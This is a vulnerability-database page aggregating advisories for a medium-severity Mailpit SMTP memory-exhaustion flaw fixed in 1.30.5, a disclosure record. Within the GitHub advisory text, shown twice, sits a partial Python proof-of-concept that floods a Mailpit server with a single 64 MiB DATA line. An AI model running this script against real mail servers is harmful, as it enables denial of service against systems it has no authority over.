Every CVE Search/ Get API key

CVE-2026-67447

Mailpit: SMTP DATA line reader buffers over-limit input before size enforcement

5.3 MediumFix available

Mailpit is an email testing tool and API for developers. From 1.30.0 until 1.30.5, Mailpit's internal/smtpd/smtpd.go readData() function calls bufio.Reader.ReadBytes before applying the len(data)+len(line) size check to the completed SMTP DATA line against Server.MaxSize. An unauthenticated SMTP client can send a single line larger than the configured MaxMessageSize, causing the full line to be allocated before Mailpit returns the 552 5.3.4 rejection. This post-fix gap remains after normal multi-line DATA accumulation was bounded, and concurrent oversized lines can create substantial memory pressure beyond the configured message-size cap. This issue is fixed in version 1.30.5.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
Low

Exploit likelihood

0.51%Up 0.1 points since Aug 21, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.3

Mailpit: SMTP DATA line reader buffers over-limit input before size enforcement

Mailpit is an email testing tool and API for developers. From 1.30.0 until 1.30.5, Mailpit's internal/smtpd/smtpd.go readData() function calls bufio.Reader.ReadBytes before applying the len(data)+len(line) size check to the completed SMTP DATA line against Server.MaxSize. An unauthenticated SMTP client can send a single line larger than the configured MaxMessageSize, causing the full line to be allocated before Mailpit returns the 552 5.3.4 rejection. This post-fix gap remains after normal multi-line DATA accumulation was bounded, and concurrent oversized lines can create substantial memory pressure beyond the configured message-size cap. This issue is fixed in version 1.30.5.

Record
CVE-2026-67447
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness
CWE-770
Updated
2026-11-02
EUVDEUVD-2026-63664 5.3

Mailpit is an email testing tool and API for developers. From 1.30.0 until 1.30.5, Mailpit's internal/smtpd/smtpd.go readData() function calls bufio.Reader.ReadBytes before applying the len(data)+len(line) size check to the completed SMTP DATA line against Server.MaxSize. An unauthenticated SMTP client can send a single line larger than the configured MaxMessageSize, causing the full line to be allocated before Mailpit returns the 552 5.3.4 rejection. This post-fix gap remains after normal multi-line DATA accumulation was bounded, and concurrent oversized lines can create substantial memory pressure beyond the configured message-size cap. This issue is fixed in version 1.30.5.

Record
EUVD-2026-63664
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Updated
2026-11-02
GitHub AdvisoriesGHSA-r553-m4fv-5v97 5.3

Mailpit: SMTP DATA line reader buffers over-limit input before size enforcement

Summary

Mailpit's SMTP DATA reader enforces the configured MaxMessageSize only after bufio.Reader.ReadBytes('\n') has already buffered a complete DATA line. A remote unauthenticated SMTP client can send one line larger than the configured message-size cap and force memory allocation before Mailpit returns the expected 552 5.3.4 rejection, leaving patched versions still exposed to a single-line incomplete-fix variant of the earlier SMTP DATA body-size issue.

Technical Details

Mailpit enables SMTP by default. The SMTP server now wires config.MaxMessageSize into srv.MaxSize:

if config.MaxMessageSize > 0 {
    srv.MaxSize = config.MaxMessageSize * 1024 * 1024
}

The DATA reader then checks that cap, but only after reading a full newline-terminated line into memory:

line, err := s.br.ReadBytes('\n')
if err != nil {
    return nil, err
}

if bytes.Equal(line, []byte(".\r\n")) {
    break
}
if line[0] == '.' {
    line = line[1:]
}

if s.srv.MaxSize > 0 {
    if len(data)+len(line) > s.srv.MaxSize {
        _, _ = s.br.Discard(s.br.Buffered())
        return nil, maxSizeExceeded(s.srv.MaxSize)
    }
}

This ordering violates the size-limit invariant. The configured cap can reject the message only after the attacker has supplied the line terminator and ReadBytes('\n') has allocated the over-limit line. With the default 50 MiB cap, a 64 MiB single DATA line is still buffered before Mailpit returns 552 5.3.4 Requested mail action aborted: exceeded storage allocation (52428800).

This is related to the older SMTP DATA body-size advisory, but it is a post-fix gap: srv.MaxSize is now assigned, and normal multi-line DATA accumulation is bounded. The remaining issue is that one individual DATA line is not bounded before buffering.

PoV

The following reduced proof starts a local Mailpit release binary, sends a small DATA message as a negative control, then sends one 64 MiB DATA line without an intermediate newline. It samples process RSS while the request is in flight:

#!/usr/bin/env python3
import os, socket, subprocess, threading, time
from pathlib import Path

def free_port():
    s = socket.socket()
    s.bind(("127.0.0.1", 0))
    p = s.getsockname()[1]
    s.close()
    return p

def rss_kib(pid):
    return int(subprocess.check_output(["ps", "-o", "rss=", "-p", str(pid)], text=True).strip())

def recv_line(sock):
    data = b""
    while not data.endswith(b"\n"):
        chunk = sock.recv(1)
        if not chunk:
            break
        data += chunk
    return data.decode("latin-1", "replace").strip()

def send_cmd(sock, cmd):
    sock.sendall(cmd)
    return recv_line(sock)

def wait_for_smtp(port):
    deadline = time.time() + 8
    while time.time() < deadline:
        try:
            with socket.create_connection(("127.0.0.1", port), timeout=0.5) as sock:
                recv_line(sock)
                return
        except OSError:
            time.sleep(0.1)
    raise RuntimeError("SMTP server did not become ready")

def send_data_line(port, pid, label, payload_bytes, finish_message):
    stop = threading.Event()
    peak = {"rss": rss_kib(pid)}
    def monitor():
        while not stop.is_set():
            peak["rss"] = max(peak["rss"], rss_kib(pid))
            time.sleep(0.03)
    t = threading.Thread(target=monitor, daemon=True)
    t.start()
    sock = socket.create_connection(("127.0.0.1", port), timeout=20)
    try:
        recv_line(sock)
        send_cmd(sock, b"HELO pov.example\r\n")
        send_cmd(sock, b"MAIL FROM:<[email protected]>\r\n")
        send_cmd(sock, b"RCPT TO:<[email protected]>\r\n")
        send_cmd(sock, b"DATA\r\n")
        sock.sendall(f"Subject: {label}\r\n\r\n".encode())
        chunk = b"A" * min(1024 * 1024, payload_bytes)
        remaining = payload_bytes
        while remaining:
            n = min(len(chunk), remaining)
            sock.sendall(chunk[:n])
            remaining -= n
        sock.sendall(b"\r\n.\r\n" if…
Record
GHSA-r553-m4fv-5v97
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness
CWE-770
Updated
2026-11-02
NVD 5.3

Mailpit is an email testing tool and API for developers. From 1.30.0 until 1.30.5, Mailpit's internal/smtpd/smtpd.go readData() function calls bufio.Reader.ReadBytes before applying the len(data)+len(line) size check to the completed SMTP DATA line against Server.MaxSize. An unauthenticated SMTP client can send a single line larger than the configured MaxMessageSize, causing the full line to be allocated before Mailpit returns the 552 5.3.4 rejection. This post-fix gap remains after normal multi-line DATA accumulation was bounded, and concurrent oversized lines can create substantial memory pressure beyond the configured message-size cap. This issue is fixed in version 1.30.5.

Record
CVE-2026-67447
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness
CWE-770
Updated
2026-11-02
OSV 5.3

Mailpit: SMTP DATA line reader buffers over-limit input before size enforcement

Mailpit is an email testing tool and API for developers. From 1.30.0 until 1.30.5, Mailpit's internal/smtpd/smtpd.go readData() function calls bufio.Reader.ReadBytes before applying the len(data)+len(line) size check to the completed SMTP DATA line against Server.MaxSize. An unauthenticated SMTP client can send a single line larger than the configured MaxMessageSize, causing the full line to be allocated before Mailpit returns the 552 5.3.4 rejection. This post-fix gap remains after normal multi-line DATA accumulation was bounded, and concurrent oversized lines can create substantial memory pressure beyond the configured message-size cap. This issue is fixed in version 1.30.5.

Record
CVE-2026-67447
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness
CWE-770
Updated
2026-11-02
OSVGHSA-r553-m4fv-5v97 5.3

Mailpit: SMTP DATA line reader buffers over-limit input before size enforcement

Summary

Mailpit's SMTP DATA reader enforces the configured MaxMessageSize only after bufio.Reader.ReadBytes('\n') has already buffered a complete DATA line. A remote unauthenticated SMTP client can send one line larger than the configured message-size cap and force memory allocation before Mailpit returns the expected 552 5.3.4 rejection, leaving patched versions still exposed to a single-line incomplete-fix variant of the earlier SMTP DATA body-size issue.

Technical Details

Mailpit enables SMTP by default. The SMTP server now wires config.MaxMessageSize into srv.MaxSize:

if config.MaxMessageSize > 0 {
    srv.MaxSize = config.MaxMessageSize * 1024 * 1024
}

The DATA reader then checks that cap, but only after reading a full newline-terminated line into memory:

line, err := s.br.ReadBytes('\n')
if err != nil {
    return nil, err
}

if bytes.Equal(line, []byte(".\r\n")) {
    break
}
if line[0] == '.' {
    line = line[1:]
}

if s.srv.MaxSize > 0 {
    if len(data)+len(line) > s.srv.MaxSize {
        _, _ = s.br.Discard(s.br.Buffered())
        return nil, maxSizeExceeded(s.srv.MaxSize)
    }
}

This ordering violates the size-limit invariant. The configured cap can reject the message only after the attacker has supplied the line terminator and ReadBytes('\n') has allocated the over-limit line. With the default 50 MiB cap, a 64 MiB single DATA line is still buffered before Mailpit returns 552 5.3.4 Requested mail action aborted: exceeded storage allocation (52428800).

This is related to the older SMTP DATA body-size advisory, but it is a post-fix gap: srv.MaxSize is now assigned, and normal multi-line DATA accumulation is bounded. The remaining issue is that one individual DATA line is not bounded before buffering.

PoV

The following reduced proof starts a local Mailpit release binary, sends a small DATA message as a negative control, then sends one 64 MiB DATA line without an intermediate newline. It samples process RSS while the request is in flight:

#!/usr/bin/env python3
import os, socket, subprocess, threading, time
from pathlib import Path

def free_port():
    s = socket.socket()
    s.bind(("127.0.0.1", 0))
    p = s.getsockname()[1]
    s.close()
    return p

def rss_kib(pid):
    return int(subprocess.check_output(["ps", "-o", "rss=", "-p", str(pid)], text=True).strip())

def recv_line(sock):
    data = b""
    while not data.endswith(b"\n"):
        chunk = sock.recv(1)
        if not chunk:
            break
        data += chunk
    return data.decode("latin-1", "replace").strip()

def send_cmd(sock, cmd):
    sock.sendall(cmd)
    return recv_line(sock)

def wait_for_smtp(port):
    deadline = time.time() + 8
    while time.time() < deadline:
        try:
            with socket.create_connection(("127.0.0.1", port), timeout=0.5) as sock:
                recv_line(sock)
                return
        except OSError:
            time.sleep(0.1)
    raise RuntimeError("SMTP server did not become ready")

def send_data_line(port, pid, label, payload_bytes, finish_message):
    stop = threading.Event()
    peak = {"rss": rss_kib(pid)}
    def monitor():
        while not stop.is_set():
            peak["rss"] = max(peak["rss"], rss_kib(pid))
            time.sleep(0.03)
    t = threading.Thread(target=monitor, daemon=True)
    t.start()
    sock = socket.create_connection(("127.0.0.1", port), timeout=20)
    try:
        recv_line(sock)
        send_cmd(sock, b"HELO pov.example\r\n")
        send_cmd(sock, b"MAIL FROM:<[email protected]>\r\n")
        send_cmd(sock, b"RCPT TO:<[email protected]>\r\n")
        send_cmd(sock, b"DATA\r\n")
        sock.sendall(f"Subject: {label}\r\n\r\n".encode())
        chunk = b"A" * min(1024 * 1024, payload_bytes)
        remaining = payload_bytes
        while remaining:
            n = min(len(chunk), remaining)
            sock.sendall(chunk[:n])
            remaining -= n
        sock.sendall(b"\r\n.\r\n" if…
Record
GHSA-r553-m4fv-5v97
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness
CWE-770
Updated
2026-11-02
OSVGO-2026-6272 No score

Mailpit: SMTP DATA line reader buffers over-limit input before size enforcement in github.com/axllent/mailpit

Mailpit: SMTP DATA line reader buffers over-limit input before size enforcement in github.com/axllent/mailpit

Record
GO-2026-6272
Updated
2026-11-02
OSVopenSUSE-SU-2026:21761-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).

    Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2026-5026 CVE-2026-39821
    • GO-2026-6225
    • GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw
    • GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h
    • GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q
    • GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6
    • GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86
    • GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p
    • GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6
    • GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68
    • GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v
    • GO-2026-6262 GHSA-22w5-2fxg-vrwx
    • GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28
    • GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j
    • GO-2026-6265 GHSA-8fxq-53rx-ph5f
    • GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m
    • GO-2026-6267 GHSA-h58c-xccx-75m3
    • GO-2026-6268 GHSA-q9c5-pp7m-fm2g
    • GO-2026-6269 GHSA-rxhg-vcww-2mpw
    • GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5
    • GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m
    • GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97
    • GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28
    • GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w
    • GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34
    • GO-2026-6277 GHSA-4ph6-mjv7-3fq6
    • GO-2026-6278 GHSA-w67g-5rqw-f597
    • GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v
    • GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw
    • GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4
    • GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9
    • GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q
    • GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg
    • GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr
    • GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4
    • GO-2026-6287 GHSA-vx2m-jpxr-xv7w
    • GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr
    • GO-2026-6289 GHSA-w8j7-39hp-8x59
    • GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3
    • GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58
    • GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m
    • GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq
    • GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff
    • GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx
    • GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9
    • GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm
    • GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp
    • GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px
    • GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf
    • GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf

  • Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.

    Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2026-4720 GHSA-v3mg-9v85-fcm7
    • GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc
    • GO-2026-4950
    • GO-2026-6093 GHSA-464c-974j-9xm6
    • GO-2026-6094 GHSA-gcjh-h69q-9w9g
    • GO-2026-6095 GHSA-r277-6w6q-xmqw
    • GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737
    • GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv
    • GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q
    • GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv
    • GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf
    • GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8
    • GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp
    • GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp
    • GO-2026-6105 GHSA-c534-2w9c-x7fm
    • GO-2026-6106 GHSA-v6w6-358x-2433
    • GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3
    • GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq
    • GO-2026-6109 GHSA-86cx-wwf4-phq4
    • GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75
    • GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h
    • GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq
    • GO-2026-6113 GHSA-p6ph-3jx2-3337
    • GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8
    • GO-2026-6115 CVE-2026-56867
    • GO-2026-6117 GHSA-hp74-gm6m-2qm5
    • GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7
    • GO-2026-6119 CVE-2026-43983…
Record
openSUSE-SU-2026:21761-1
Updated
2026-11-02
OSVSUSE-SU-2026:23625-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).

    Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2026-5026 CVE-2026-39821
    • GO-2026-6225
    • GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw
    • GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h
    • GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q
    • GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6
    • GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86
    • GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p
    • GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6
    • GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68
    • GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v
    • GO-2026-6262 GHSA-22w5-2fxg-vrwx
    • GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28
    • GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j
    • GO-2026-6265 GHSA-8fxq-53rx-ph5f
    • GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m
    • GO-2026-6267 GHSA-h58c-xccx-75m3
    • GO-2026-6268 GHSA-q9c5-pp7m-fm2g
    • GO-2026-6269 GHSA-rxhg-vcww-2mpw
    • GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5
    • GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m
    • GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97
    • GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28
    • GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w
    • GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34
    • GO-2026-6277 GHSA-4ph6-mjv7-3fq6
    • GO-2026-6278 GHSA-w67g-5rqw-f597
    • GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v
    • GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw
    • GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4
    • GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9
    • GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q
    • GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg
    • GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr
    • GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4
    • GO-2026-6287 GHSA-vx2m-jpxr-xv7w
    • GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr
    • GO-2026-6289 GHSA-w8j7-39hp-8x59
    • GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3
    • GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58
    • GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m
    • GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq
    • GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff
    • GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx
    • GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9
    • GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm
    • GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp
    • GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px
    • GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf
    • GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf

  • Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.

    Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2026-4720 GHSA-v3mg-9v85-fcm7
    • GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc
    • GO-2026-4950
    • GO-2026-6093 GHSA-464c-974j-9xm6
    • GO-2026-6094 GHSA-gcjh-h69q-9w9g
    • GO-2026-6095 GHSA-r277-6w6q-xmqw
    • GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737
    • GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv
    • GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q
    • GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv
    • GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf
    • GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8
    • GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp
    • GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp
    • GO-2026-6105 GHSA-c534-2w9c-x7fm
    • GO-2026-6106 GHSA-v6w6-358x-2433
    • GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3
    • GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq
    • GO-2026-6109 GHSA-86cx-wwf4-phq4
    • GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75
    • GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h
    • GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq
    • GO-2026-6113 GHSA-p6ph-3jx2-3337
    • GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8
    • GO-2026-6115 CVE-2026-56867
    • GO-2026-6117 GHSA-hp74-gm6m-2qm5
    • GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7
    • GO-2026-6119 CVE-2026-43983…
Record
SUSE-SU-2026:23625-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/axllent/mailpit
Go
 1.30.0 up to 1.30.5
1.30.5
govulncheck-vulndb
SUSE:Linux Enterprise Server 16.0
From an advisory covering 181 CVEs
 before 0.0.20260827T195228-160000.1.1
0.0.20260827T195228-160000.1.1
govulncheck-vulndb
SUSE:Linux Enterprise Server for SAP applications 16.0
From an advisory covering 181 CVEs
 before 0.0.20260827T195228-160000.1.1
0.0.20260827T195228-160000.1.1
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 181 CVEs
 before 0.0.20260827T195228-160000.1.1
0.0.20260827T195228-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-67447 is a medium vulnerability (CVSS 5.3) in Axllent Mailpit, published August 20, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.51%, the 43rd percentile. Fixed in github.com/axllent/mailpit 1.30.5.

References

Show 183 moreShow less
This page doesn't list everything

Left out here: the rest of 4 source descriptions. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open